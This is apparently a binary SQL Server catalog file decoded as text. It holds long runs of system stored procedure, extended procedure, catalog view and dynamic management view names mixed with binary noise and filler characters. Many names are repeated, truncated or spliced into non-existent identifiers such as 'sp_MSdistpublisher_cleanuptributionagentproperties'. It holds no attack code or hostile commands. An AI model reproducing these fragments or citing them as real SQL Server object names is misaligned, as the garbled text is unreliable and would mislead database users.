8sp_xml_removedocument&Pn.sp_user_counter4&贲Fsp_validatemergesubscription&&sp_validname&vq.sp_views_rowset2&H.sp_user_counter1&Nsp_validatemergepullsubscription&=6sp_xml_schema_rowset&[:.sp_user_counter2&_Dsp_validatemergepublication&֕>sp_vupgrade_mergeobjects&\3<sp_usertypes_rowset_rmt&m'\sp_validate_replica_hosts_as_publishers&='0sp_validatelogins&;.sp_user_counter8&.sp_validatecache&(4sp_usertypes_rowset&qKsp_who2&Ք2Fsp_xp_cmdshell_proxy_account&73Psp_vupgrade_replsecurity_metadata&u@spatial_reference_systems&Dspatial_index_tessellations&,spatial_indexes&Dsql_expression_dependencies&0*symmetric_keys&Z.sql_dependencies&\synonyms&`$sql_modules&m(stats_columns&nstats&!"sql_logins&-,sysremotelogins&.&sysprocesses&/$sysperfinfo&0&sysopentapes&1(sysoledbusers&2$sysmessages&3 syslogins&4$syslockinfo&5"sysdevices&6&sysdatabases&7,syscursortables&8"syscursors&9(syscursorrefs&:.syscursorcolumns&;(syscurconfigs&<(sysconfigures&=$syscharsets&>&syslanguages&?,syscacheobjects&@$sysaltfiles&qsysfiles&r(sysfilegroups&s"sysmembers&v(sysreferences&w$sysprotects&x*syspermissions&y&sysindexkeys&z"sysindexes&{4sysfulltextcatalogs&|*sysconstraints&}*sysforeignkeys&~"sysdepends&$syscomments&"syscolumns&"sysobjectstemergepullsubscription&=6sp_xml_schema_rowset&*xp_fixeddrives&4xp_sqlagent_monitor&2trace_xe_event_map&>,xp_readerrorlog&*xp_replposteor&"F@ xp_sscanf&J.xp_passAgentInfo&[:.sp_user_counter2&@*xp_revokelogin&_Dsp_validatemergepublication&֕>sp_vupgrade_mergeobjects&1t.trace_categories&\3<sp_usertypes_rowset_rmt&m'\sp_validate_replica_hosts_as_publishers&(xp_msx_enlist&1(xp_get_script&I0xp_availablemedia&kBxp_sysmail_attachment_load&>u$xp_sqlmaint&o:xp_prop_oledb_provider&8trace_subclass_values&='0sp_validatelogins&;.sp_user_counter8&*xp_loginconfig&+@Nxp_instance_regremovemultistring&.sp_validatecache&(4sp_usertypes_rowset&P0xp_sqlagent_param&qKsp_who2&g*xp_regenumkeys&Ք2Fsp_xp_cmdshell_proxy_account&͌.xp_regenumvalues&73Psp_vupgrade_replsecurity_metadata&T6(xp_grantlogin&P"xp_subdirs&z"xp_sprintf&u@spatial_reference_systems&$J.xp_create_subdir&"xp_regread&C>xp_instance_regdeletekey&Dspatial_index_tessellations&	j	H	 	,vXX0~DVt442T|P0.LXrT6zDplB"rJ"
0
Z<|ZL
 	
b
|	6
(n
V2
V(
4

`


G"[t3Ƽ&Kp`sp_MSclearresetpartialsnapshotprogressbit&#ZZsp_MScomputemergearticlescreationorder&Lsp_MScomputemergeunresolvedrefs&9W>sp_MSconflicttableexists&yRsp_MScreate_all_article_repl_views&LNsp_MScreate_logical_record_views&:sp_MScreate_sub_tables&(W3Fsp_MScreatedisabledmltrigger&.sp_MScreateretry&Bsp_MSdelete_tracer_history&@sp_MSdeletefoldercontents&wNsp_MSdeletemetadataactionrequest&8ZBsp_MSdeletepeerconflictrow&ZiSJsp_MSdelrowsbatch_downloadonly&
,sp_MSdelsubrows&
Jsp_MSdetect_nonlogged_shutdown&>'Psp_MSdodatabasesnapshotinitiation&H^sp_MSdopartialdatabasesnapshotinitiation&@sp_MSdrop_anonymous_entry&P0sp_MSdrop_article&:Fsp_MSdrop_distribution_agent&>>sp_MSdrop_snapshot_agent&L"Bsp_MSdroparticletombstones&tqcHsp_MSdropfkreferencingarticle&ooLsp_MScreatemergedynamicsnapshot&Fsp_MSdrop_merge_subscription&0sp_MSdependencies&2-<sp_MSdropdynsnapshotvws&`>sp_MScreateglobalreplica&IɠBsp_MSdeletetranconflictrow&=8Nsp_MSdrop_dynamic_snapshot_agent&C0sp_MSdelrowsbatch&mqRsp_MSdetectinvalidpeersubscription&INsp_MScreatelightweightupdateproc&F@8sp_MSdropmergearticle&1@sp_MSdrop_qreader_history&sJsp_MScreate_article_repl_views&XgNsp_MSdropmergedynamicsnapshotjob&_6sp_MSdelsubrowsbatch&LfZ.sp_MSdeleteretry&Ei>sp_MSdrop_6x_publication&`d,sp_MSdbuserpriv&q8sp_MSdrop_publication&+fsp_MSdrop_distribution_agentid_dbowner_proxy&
U8Jsp_MSdrop_6x_replication_agent&	^Tsp_MSdetectinvalidpeerconfiguration&J
Bsp_MScreatedummygeneration&q<sp_MSdrop_snapshot_dirs&W\@sp_MSdist_adjust_identity&y/Bsp_MSdistribution_counters&<<sp_MScomputelastsentgen&N6sp_MSdropconstraints&`h:sp_MSdrop_subscription&7g<sp_MScreate_dist_tables&@sp_MSdrop_logreader_agent&Dsp_MSdroparticleconstraints&Hsp_MSdrop_tempgenhistorytable&;sBsp_MSdrop_subscription_3rd&h޲.sp_MSdefer_check&.,sp_MSdelgenzero&2Wjsp_MScreatelightweightprocstriggersconstraints&.Dsp_MSdist_activate_auto_sub&,0sp_MSdbuseraccess&0Lsp_MScreate_tempgenhistorytable&Zsp_MScreatelightweightmultipurposeproc&8sp_MSdrop_merge_agent&L6@sp_MSdrop_subscriber_info&0Nsp_MScreatelightweightinsertproc&.$sp_MSdelrow&߮@sp_MSdistributoravailable&oBsp_MSdistpublisher_cleanuptributionagentproperties&34sp_MSenum_logreader&36.sp_MSenumchanges&mqRsp_MSdetectinvalidpeersubscription&S~Lsp_MSenum_logicalrecord_changes&INsp_MScreatelightweightupdateproc&]2sp_MSdummyupdate90&F@8sp_MSdropmergearticle&1@sp_MSdrop_qreader_history&sJsp_MScreate_article_repl_views&.Dsp_MSenumdeleteslightweight&XgNsp_MSdropmergedynamicsnapshotjob&_6sp_MSdelsubrowsbatch&6sp_MSenum_replqueues&LfZ.sp_MSdeleteretry&A:8sp_MSenum_snapshot_sd&@b4sp_MSenumreplicas90&^<sp_MSenumpartialchanges&Ei>sp_MSdrop_6x_publication&`d,sp_MSdbuserpriv&q8sp_MSdrop_publication&+fsp_MSdrop_distribution_agentid_dbowner_proxy&
U8Jsp_MSdrop_6x_replication_agent&	^Tsp_MSdetectinvalidpeerconfiguration&D-0sp_MSenum_merge_s&J
Bsp_MScreatedummygeneration&>sp_MSenumallpublications&q<sp_MSdrop_snapshot_dirs&W\@sp_MSdist_adjust_identity&h6sp_MSenum_snapshot_s&ٶ.sp_MSdummyupdate&M?\sp_MSevaluate_change_membership_for_row&y/Bsp_MSdistribution_counters&<<sp_MScomputelastsentgen&N6sp_MSdropconstraints&`h:sp_MSdrop_subscription&~bsp_MSenum_merge_subscriptions_90_publisher&-!>sp_MSenumdeletesmetadata&م@sp_MSenumallsubscriptions&_X<sp_MSenumpartialdeletes&7g<sp_MScreate_dist_tables&:u,sp_MSenum_merge&@sp_MSdrop_logreader_agent&Dsp_MSdroparticleconstraints&Hsp_MSdrop_tempgenhistorytable&fsp_MSenum_merge_subscriptions_90_publication&9n<sp_MSenum_replsqlqueues&;sBsp_MSdrop_subscription_3rd&h޲.sp_MSdefer_check&.,sp_MSdelgenzero.
LNF
d"j
$
			:	N
	
fZ(	j<znrdd
$
`Rz
N@,
t4>>	 ~DR
f
`	
L"*>[tk>g&SVsp_enable_heterogeneous_subscription&T8sp_enableagentoffload& 6:sp_enumcustomresolvers&l"sp_enumdsn&ZiLsp_expired_subscription_cleanup&@Zsp_filestream_force_garbage_collection&zcY^sp_filestream_recalculate_container_size&':sp_foreign_keys_rowset&
[0<sp_foreign_keys_rowset3&}4sp_fulltext_catalog&}#|6sp_fulltext_database&Lsp_fulltext_load_thesaurus_file&YHsp_fulltext_recycle_crawl_log&7vsp_fulltext_semantic_register_language_statistics_db&ә4sp_fulltext_service&,Dsp_generate_agent_parameter&G2sp_generatefilters&;$2sp_get_distributor&`sp_get_job_status_mergesubscription_agent&#Zsp_get_mergepublishedarticleproperties&2LDsp_get_redirected_publisher&H8sp_getmergedeletetype&.sp_getqueuedrows&T8sp_getsqlqueueversion&K8sp_getVolumeFreeSpace&-'.sp_grantdbaccess&fCsp_help&8sp_help_agent_default&>sp_help_datatype_mapping&Af@sp_help_fulltext_catalogs&gNsp_help_fulltext_catalogs_cursor&$>sp_help_fulltext_columns&B(sp_executesql&Nsp_enumeratependingschemachanges&^Fsp_getdefaultdatatypemapping&N.sp_enumerrorlogs&Nsp_get_Oracle_publisher_metadata&%rX6sp_getProcessorUsage&镧:sp_enumfullsubscribers&wCsp_fkeys&_8sp_help_agent_profile&Y)Dsp_grant_publication_access&=aFLsp_getqueuedarticlesynctraninfo&P\sp_FuzzyLookupTableMaintenanceUninstall&\<sp_fulltext_keymappings&k2sp_gettopologyinfo&1Ů<sp_enum_oledb_providers&HE4sp_firstonly_bitmap&ݾe0sp_fulltext_table&pc2Bsp_foreign_keys_rowset_rmt&w8.sp_getschemalock&tBsp_fulltext_pendingchanges&VLsp_flush_commit_table_on_demand&lf<sp_help_agent_parameter&T*sp_foreignkeys&
R18sp_flush_commit_table&t3zsp_fulltext_semantic_unregister_language_statistics_db&Tsp_getsubscription_status_hsnapshot&R4sp_fulltext_getdata&'4sp_enable_sql_debug&2sp_fulltext_column&ۥ>sp_getagentparameterlist&G"sp_execute&.n4sp_getpublisherlink&c(sp_getapplock&lˣ<sp_enumoledbdatasources&:(sp_grantlogin&R<sp_foreign_keys_rowset2&׵hsp_estimated_rowsize_reduction_for_vardecimal&
Vsp_estimate_data_compression_savings&82Nsp_getsubscriptiondtspackagename&J'aXsp_FuzzyLookupTableMaintenanceInstall&4Tsp_help_fulltext_catalog_components&lF,sp_getbindtoken&TGVsp_FuzzyLookupTableMaintenanceInvoke&8sp_get_query_template:sp_enumfullsubscribers&wCsp_fkeys&oFsp_helpmergelogfileswithdata&=(sp_helplogins&&sp_helpindex&lo2(sp_helpdevice&Q<sp_helpmergepublication&8sp_helpdistributiondb&2<sp_helppullsubscription&_8sp_help_agent_profile&96sp_helpqreader_agent&Y)Dsp_grant_publication_access&48sp_helplinkedsrvlogin&=aFLsp_getqueuedarticlesynctraninfo&P\sp_FuzzyLookupTableMaintenanceUninstall&\<sp_fulltext_keymappings&W&Lsp_help_fulltext_columns_cursor&Bsp_help_publication_access&k2sp_gettopologyinfo&$Vsp_help_log_shipping_monitor_primary&1Ů<sp_enum_oledb_providers&HE4sp_firstonly_bitmap&.sp_helpfilegroup&3Fsp_helpmergepullsubscription&Ժ:sp_helppublicationsync&H\sp_help_log_shipping_secondary_database&,ca2sp_helpdistributor&ݾe0sp_fulltext_table&pc2Bsp_foreign_keys_rowset_rmt&w8.sp_getschemalock&tBsp_fulltext_pendingchanges&k)Hsp_helpdistributor_properties&s2sp_helpdbfixedrole&VLsp_flush_commit_table_on_demand&T4sp_helpextendedproc&lf<sp_help_agent_parameter&;d:sp_helplogreader_agent&qJ<sp_helpmergelogsettings&T*sp_foreignkeys& Jsp_help_log_shipping_alert_job&
R18sp_flush_commit_table&t3zsp_fulltext_semantic_unregister_language_statistics_db&Tsp_getsubscription_status_hsnapshot&Bsp_helpreplicationdboption&:@sp_helpmergearticlecolumn&R4sp_fulltext_getdata&'4sp_enable_sql_debug&2sp_fulltext_column&ۥ>sp_getagentparameterlist&G"sp_execute&.n4sp_getpublisherlink&c(sp_getapploc60j:
j
2hr
xJ
	p^	tl<8z.^>
lN


Jt4,	0	(
`d
x"p[t?{
,&4FOHsp_MShelpconflictpublications&2sp_MShelpdestowner&*sp_MShelpindex&:sp_MShelpmergearticles&eDsp_MShelpobjectpublications&(n<sp_MShelpsnapshot_agent&XWDsp_MShelpsummarypublication&(sp_MShelptype&eȲ<sp_MShelpvalidationdate&,sp_MSindexspace&!Bsp_MSinitdynamicsubscriber&@sp_MSinsertdeleteconflict&<sp_MSinserterrorlineage&;Rsp_MSinsertgenerationschemachanges&>8sp_MSinsertgenhistory&}:sp_MSispeertopeeragent&\>sp_MSispublicationqueued&cЯ$sp_MSkilldb&ӹ2sp_MSlock_auto_sub&8sp_MSmakearticleprocs&U>sp_MSmakebatchinsertproc&jfDsp_MSmakeconflictinsertproc&Wi.sp_MSmakectsview&4sp_MSmakedeleteproc&NZ4sp_MSmakeinsertproc&:sp_MSmakesystableviews&m4sp_MSmakeupdateproc&iTsp_MSmap_partitionid_to_generations&,sp_MSmarkreinit&/Bsp_MSmerge_alterschemaonly&6sp_MSmerge_alterview& :sp_MSmerge_getgencount&ELsp_MSmerge_is_snapshot_required&0<sp_MSmerge_parsegenlist&3Hsp_MSmerge_upgrade_subscriber&8sp_MSmergesubscribedb&*p0Zsp_MSneedmergemetadataretentioncleanup&RBsp_MSNonSQLDDLForSchemaDDL&+Bsp_MSpeerapplytopologyinfo&5sp_MSpeerconflictdetection_statuscollection_applyresponse&~sp_MSpeerconflictdetection_statuscollection_sendresponse&
psp_MSpeerconflictdetection_topology_applyresponse&;,sp_MSpeerdbinfo&/8sp_MSpeersendresponse&#8@sp_MSpeersendtopologyinfo&E%\sp_MSpostapplyscript_forsubscriberprocs&64sp_MSprep_exclusive&$6sp_MSproxiedmetadata&!C@sp_MSproxiedmetadatabatch&uLsp_MSproxiedmetadatalightweight&q=<sp_MSpublicationcleanup&0sp_MSquerysubtype&IE@sp_MSregisterdynsnapseqno&@sp_MSregistersubscription&CNsp_MSreinit_failed_subscriptions&,sp_MSreinit_hub&t>sp_MSreinit_subscription&\sp_MSreinitoverlappingmergepublications&2oRsp_MSreleasedynamicsnapshotapplock&[FHsp_MSreleasemergeadminapplock&Q.6sp_MSreleaseSlotLock&3Fsp_MSremove_mergereplcommand&bCFsp_MSinit_publication_access&߯@sp_MSIfExistsSubscription&>sp_MSmerge_ddldispatcher&l`>sp_MSpub_adjust_identity&%h8sp_MSisreplmergeagent&<sp_MSmerge_altertrigger&T4sp_MSmakeselectproc&ߞ:sp_MShelpfulltextindex&taPsp_MSreleasemakegenerationapplock&Jsp_MSrefresh_publisher_idrange&+,4sp_MSprofile_in_use&W'4sp_MSmakeexpandproc&L+Fsp_MSlock_distribution_agent&cHBsp_MShelpcreatebeforetable&h-Dsp_MShelptranconflictcounts&S.sp_MSobjectprivs&eUFsp_MShelpmergeschemaarticles&Dsp_MSmerge_getgencur_public&{mDsp_MSmakemetadataselectproc&b~<sp_MSpublication_access&8sp_MShelptracertokens&yBsp_MSissnapshotitemapplied&>sp_MSinvalidate_snapshot&]Fsp_MSmergeupdatelastsyncinfo&Rsp_MSregenerate_mergetriggersprocs&#<sp_MSinsertschemachange&Tsp_MSrecordsnapshotdeliveryprogress&/P6sp_MSinsert_identity&h8sp_MSquery_syncstates&<sp_MSmakedynsnapshotvws&
@sp_MSprepare_mergearticle&o @sp_MSpeertopeerfwdingexec&S̉:sp_MSpeerapplyresponse&URsp_MSinsertlightweightschemachange&44sp_MSpost_auto_proc&.O>sp_MShelplogreader_agent&	V>*sp_MSlocktable&mzJsp_MSisnonpkukupdateinconflict&v%(sp_MSmatchkey&G2>sp_MSmakebatchupdateproc&6QFsp_MSinit_subscription_agent&eDsp_MSregistermergesnappubid&@sp_MSispkupdateinconflict&E+6Dsp_MShelptracertokenhistory&hr^sp_MShelpdynamicsnapshotjobatdistributor&g:sp_MShelpmergeidentity&(f4sp_MSreenable_check&p*sp_MSNonSQLDDL&4sp_MSmakegeneration&0Fsp_MShelpreplicationtriggers&Nsp_MShelpmergedynamicsnapshotjob&_2sp_MSloginmappings&Ss\sp_MSreleasesnapshotdeliverysessionlock&Fsp_MShelpmergeconflictcounts&6sp_MSpublicationview&Α`sp_MSmerge_log_identity_range_allocations&u<sp_MShelpfulltextscript&u:sp_MSrefresh_anonymous!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|4H

N
,6jn
dV vlxP
|
	~	<	h ^~(2^f2nb0bvRN\2&Pf>*f>0B$`
"I"L`\I^6&0fn_PhysLocCracker&r4fn_PhysLocFormatter&f:fn_repladjustcolumnmap&nyf2fn_repldecryptver4&2@:fn_replgetparsedddlcmd&*@fn_replreplacesinglequote&cbfn_replreplacesinglequoteplusprotectstring&N2fn_replvarbintoint&/n0fn_RowDumpCracker&R2fn_sqlvarbasetostr&uv.fn_trace_getinfo&o/0fn_trace_gettable&s>fn_translate_permissions&FE8fn_virtualservernodes&uDfn_xe_file_target_read_file&:Hfn_yukonsecuritymodelrequired&FGeographyCollectionAggregate&.BGeographyEnvelopeAggregate&=r<GeographyUnionAggregate&\DGeometryConvexHullAggregate&6?openkeys&hORMask&G8pdw_database_mappings&N0pdw_distributions&bt2pdw_index_mappings&{t8pdw_loader_run_stages&9K>queue_messages_123147484&v@queue_messages_1972202076&Xv@queue_messages_1977058079&x@queue_messages_2009058193&<8z@queue_messages_2041058307&b<queue_messages_91147370&0securable_classes&c6sp_add_agent_profile&ERsp_add_log_file_recover_suspect_db&/<R0fn_varbintohexstr&@GeometryEnvelopeAggregate&W:pdw_loader_backup_runs&܂:fn_validate_plan_guide&5Ppdw_table_distribution_properties&!:GeometryUnionAggregate&Qݣ0fn_repluniquename&@m<fn_varbintohexsubstring&@fulltext_system_stopwords&_4fn_virtualfilestats&֬Hpdw_loader_backup_run_details&Vpdw_health_component_status_mappings&B8fn_servershareddrives&T2pdw_table_mappings&Sp0pdw_diag_sessions&%Tsp_add_data_file_recover_suspect_db&0Lpdw_health_component_properties&`Rpdw_column_distribution_properties&1y2fulltext_languages&oSFGeographyConvexHullAggregate&b;8fn_replformatdatetime&4fn_repl_hash_binary&@fn_replp2pversiontotranid&e)0pdw_health_alerts&&WDGeometryCollectionAggregate&Yj8pdw_health_components&<fulltext_document_types&5:fn_trace_getfilterinfo&4X@fn_replgetcolidfrombitmap&L^Dpdw_health_component_groups&=+"8fn_trace_geteventinfo&bb$login_token&1,pdw_diag_events&cFDfulltext_semantic_languages&F:sp_add_agent_parameter&W|@pdw_diag_event_properties& sequences&Fregistered_search_properties&Nregistered_search_property_lists&2fulltext_stopwords&2fulltext_stoplists&	>fulltext_index_fragments&:function_order_columns&$plan_guides&:module_assembly_usages&Hfulltext_index_catalog_usages&6service_queue_usages& 8parameter_type_usages&"`message_type_xml_schema_collection_usages&#Zparameter_xml_schema_collection_usages&,,internal_tables&/,key_encryptions&3routes&4<remote_service_bindings&C<service_contract_usages&Dservices&ELservice_contract_message_usages&F0service_contracts&G8service_message_types&H0fulltext_catalogs&J0partition_schemes&M:partition_range_values&N6partition_parameters&O4partition_functions&Wschemas&[*service_queues&]Hnumbered_procedure_parameters&^4numbered_procedures&e"procedures&f4foreign_key_columns&g&foreign_keys&j,key_constraints&k:fulltext_index_columns&l.fulltext_indexes&o(index_columns&q"partitions&sindexes&t.identity_columns&w"parameters&objects&^resource_governor_resource_pool_affinity&jfulltext_semantic_language_statistics_database&Rserver_audit_specification_details&Dserver_audit_specifications&2server_file_audits&(server_audits&Fserver_principal_credentials&Nresource_governor_resource_pools&Presource_governor_workload_groups&Lresource_governor_configuration&8server_event_sessions&Fserver_event_session_targets&Dserver_event_session_fields&Dserver_event_session_events&Fserver_event_session_actions&
6master_key_passwords&<server_assembly_modules&2server_sql_modules&8server_trigger_events&,server_triggers&*http_endpoints&messages&"(linked_logins&(&master_files@jP8&rx0p:V(*"x	tF"
Tt<^
	Dn0>	j
04
l
`!
m"2\6p&]P<dm_exec_text_query_plan& 4dm_exec_xml_handles&KHdm_filestream_file_io_handles&g*Jdm_filestream_file_io_requests&3\Vdm_filestream_non_transacted_handles&v:dm_fts_active_catalogs&W*dm_fts_fdhosts&8dm_fts_index_keywords&k<dm_fts_index_population&G8dm_fts_memory_buffers& EBdm_fts_outstanding_batches&I<$(dm_fts_parser&v>dm_hadr_auto_page_repair&IPdm_hadr_availability_group_states&Z)bdm_hadr_availability_replica_cluster_nodes&Íddm_hadr_availability_replica_cluster_states&Tdm_hadr_availability_replica_states&O,dm_hadr_cluster&<dm_hadr_cluster_members&o)@dm_hadr_instance_node_map&<4dm_hadr_name_id_map&D>dm_io_virtual_file_stats&~>Jdm_logconsumer_cachebufferrefs&)`6dm_logpool_consumers&:dm_logpool_hashentries&<dm_logpoolmgr_freepools&W4dm_logpoolmgr_stats&18dm_os_child_instances&m>dm_os_cluster_properties&oj:dm_os_dispatcher_pools&0dm_os_dispatchers&$dm_os_hosts&G6dm_os_loaded_modules&緰>dm_os_memory_allocations&"Bdm_os_memory_broker_clerks&6dm_os_memory_brokers&54dm_os_memory_clerks&JJdm_os_memory_node_access_stats&_ 6dm_os_memory_objects&]2dm_os_ring_buffers&.dm_os_schedulers&ddm_os_server_diagnostics_log_configurations&56dm_os_spinlock_stats&&dm_os_stacks&xQ.dm_os_sublatches&|(dm_os_threads&2dm_os_volume_stats&-I.dm_os_wait_stats&o4dm_os_waiting_tasks&
Xdm_pdw_component_health_active_alerts&59Jdm_pdw_component_health_status&͘Fdm_pdw_diag_processing_stats&|R2dm_pdw_dms_workers&@g6dm_pdw_exec_requests&$2dm_pdw_node_status&D&dm_pdw_nodes&Tdm_pdw_nodes_db_session_space_usage&RNdm_pdw_nodes_db_task_space_usage&ɫZdm_pdw_nodes_exec_background_job_queue&3Jdm_pdw_nodes_exec_cached_plans&dXdm_pdw_nodes_exec_query_memory_grants&Zdm_pdw_nodes_exec_query_optimizer_info&OHdm_pdw_nodes_exec_query_stats&Jdm_os_memory_cache_clock_hands&h.dm_os_sys_memory&Sddm_pdw_nodes_exec_query_resource_semaphores&LSU@dm_io_pending_io_requests&"B>dm_hadr_cluster_networks&
$dm_os_nodes&Bdm_os_memory_cache_entries&Bdm_os_virtual_address_dump&|Jdm_os_memory_cache_hash_tables&}(dm_pdw_errors&~Xdm_fts_semantic_similarity_population&b@Hdm_pdw_nodes_exec_connections&@ibBdm_os_worker_local_storage&-+eLdm_pdw_nodes_db_partition_stats&B
\Pdm_pdw_nodes_db_index_usage_stats&c@dm_logpoolmgr_respoolsize&qH>dm_os_buffer_descriptors&|Pdm_fts_index_keywords_by_document&GHdm_logpool_sharedcachebuffers&G)6dm_pdw_exec_sessions&[	Ddm_os_memory_cache_counters&ZPdm_fts_index_keywords_by_property&	p8dm_exec_trigger_stats&ҁ2dm_os_memory_pools&D0dm_os_latch_stats&2dm_io_backup_tapes&=Ldm_hadr_database_replica_states&D
14dm_fts_memory_pools&-*dm_os_sys_info&j\dm_hadr_database_replica_cluster_states&JcYJdm_pdw_component_health_alerts&'>dm_fts_population_ranges&SBdm_os_performance_counters&V(dm_os_workers&pCPdm_pdw_nodes_exec_procedure_stats&y9Rdm_logconsumer_privatecachebuffers&ZGDdm_io_cluster_shared_drives&yNdm_pdw_nodes_db_file_space_usage&.dm_pdw_dms_cores&&$dm_os_tasks&-.dm_logpool_stats&q72dm_os_memory_nodes&O؉fdm_pdw_nodes_exec_background_job_queue_stats&B2dm_os_windows_info&4dm_os_cluster_nodes&8~6dm_os_process_memory!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!l,Jp0
t
V0N

~n$X"j8t


"
			B		2X"Vtt> BR"p2(
T6$b`
I"[<#8&:Fsp_MSdrop_distribution_agent&>>sp_MSdrop_snapshot_agent&L"Bsp_MSdroparticletombstones&tqcHsp_MSdropfkreferencingarticle&sd*sp_MSdropretry&gDsp_MSdummyupdatelightweight&fbsp_MSdynamicsnapshotjobexistsatdistributor&3Tsp_MSenable_publication_for_het_sub&:sp_MSenum_distribution&:8sp_MSenum_logreader_s&Fm8:sp_MSenum_logreader_sd&OHsp_MSenum_merge_subscriptions&Psp_MSenum_metadataaction_requests&MT0sp_MSenum_qreader&G4sp_MSenum_qreader_s&6sp_MSenum_qreader_sd&FwFsp_MSenum_replication_agents&+@sp_MSenum_replication_job&ƒ2sp_MSenum_snapshot&jXsp_MSenumchanges_notbelongtopartition&g:sp_MSenumchangesdirect&WDsp_MSenumchangeslightweight&Y.sp_MSenumcolumns&Dsp_MSenumcolumnslightweight&K6sp_MSenumgenerations&1Rsp_MSenumchanges_belongtopartition&Hsp_MSenumdeletes_forpartition&$2sp_MSdroptemptable&$2sp_MSenumerate_PAL&:sp_MSenumgenerations90&Fsp_MSdrop_merge_subscription&2-<sp_MSdropdynsnapshotvws&Jsp_MSdummyupdate_logicalrecord&͈@sp_MSenum_distribution_sd&۩Fsp_MSenumarticleslightweight&=8Nsp_MSdrop_dynamic_snapshot_agent&[]Vsp_MSenumdistributionagentproperties&34sp_MSenum_logreader&36.sp_MSenumchanges&S~Lsp_MSenum_logicalrecord_changes&]2sp_MSdummyupdate90&F@8sp_MSdropmergearticle&1@sp_MSdrop_qreader_history&.Dsp_MSenumdeleteslightweight&XgNsp_MSdropmergedynamicsnapshotjob&6sp_MSenum_replqueues&A:8sp_MSenum_snapshot_sd&q8sp_MSdrop_publication&+fsp_MSdrop_distribution_agentid_dbowner_proxy&D-0sp_MSenum_merge_s&>sp_MSenumallpublications&q<sp_MSdrop_snapshot_dirs&h6sp_MSenum_snapshot_s&ٶ.sp_MSdummyupdate&N6sp_MSdropconstraints&`h:sp_MSdrop_subscription&~bsp_MSenum_merge_subscriptions_90_publisher&-!>sp_MSenumdeletesmetadata&م@sp_MSenumallsubscriptions&:u,sp_MSenum_merge&@sp_MSdrop_logreader_agent&Dsp_MSdroparticleconstraints&Hsp_MSdrop_tempgenhistorytable&fsp_MSenum_merge_subscriptions_90_publication&9n<sp_MSenum_replsqlqueues&;sBsp_MSdrop_subscription_3rd&pJDsp_MSensure_single_instance&<sp_MSenum_subscriptions&$>sp_MSenum_distribution_s&8sp_MSdrop_merge_agent&L6@sp_MSdrop_subscriber_info&
Gh2sp_MSenum_merge_sd&:VNsp_MSenum_merge_agent_propertiescipal&2-<sp_MSdropdynsnapshotvws&5-0sp_MSget_jobstate&!5:sp_MSfast_delete_trans&xq8sp_MSget_shared_agent&Jsp_MSdummyupdate_logicalrecord&͈@sp_MSenum_distribution_sd&<sp_MSfetchidentityrange&۩Fsp_MSenumarticleslightweight&%)4@sp_MSget_snapshot_history&0sp_MSfix_6x_tasks&=8Nsp_MSdrop_dynamic_snapshot_agent&Z0sp_MSfilterclause&[]Vsp_MSenumdistributionagentproperties&34sp_MSenum_logreader&36.sp_MSenumchanges&S~Lsp_MSenum_logicalrecord_changes&]2sp_MSdummyupdate90&F@8sp_MSdropmergearticle&1@sp_MSdrop_qreader_history&yJsp_MSget_logicalrecord_lineage&.Dsp_MSenumdeleteslightweight&XgNsp_MSdropmergedynamicsnapshotjob&6sp_MSenum_replqueues&
3Rsp_MSget_publication_from_taskname&A:8sp_MSenum_snapshot_sd&@b4sp_MSenumreplicas90&^<sp_MSenumpartialchanges&$bDsp_MSget_session_statistics&q8sp_MSdrop_publication&+fsp_MSdrop_distribution_agentid_dbowner_proxy&ߑ4sp_MSforeach_worker&D-0sp_MSenum_merge_s&>sp_MSenumallpublications&1<sp_MSget_new_xact_seqno& z|2sp_MSgetlastrecgen&q<sp_MSdrop_snapshot_dirs&[Dsp_MSfixupbeforeimagetables&h6sp_MSenum_snapshot_s&ٶ.sp_MSdummyupdate&M?\sp_MSevaluate_change_membership_for_row&N6sp_MSdropconstraints&`h:sp_MSdrop_subscription&~bsp_MSenum_merge_subscriptions_90_publisher&Bsp_MSget_max_used_identity&qWPsp_MSforce_drop_distribution_jobs&-!>sp_MSenumdeletesmetadata&م@sp_MSenumallsubscriptions&_X<sp_MSenumpartialdeletes&:u,sp_MSenum_merge&@sp_MSdrop_logreader_agent&Dsp_MSdroparticleconstraints<		n.2pr~	,,(
Ht
p:H >:l(	6
>
`
@np
&$
8

,T0	d`Q
H"
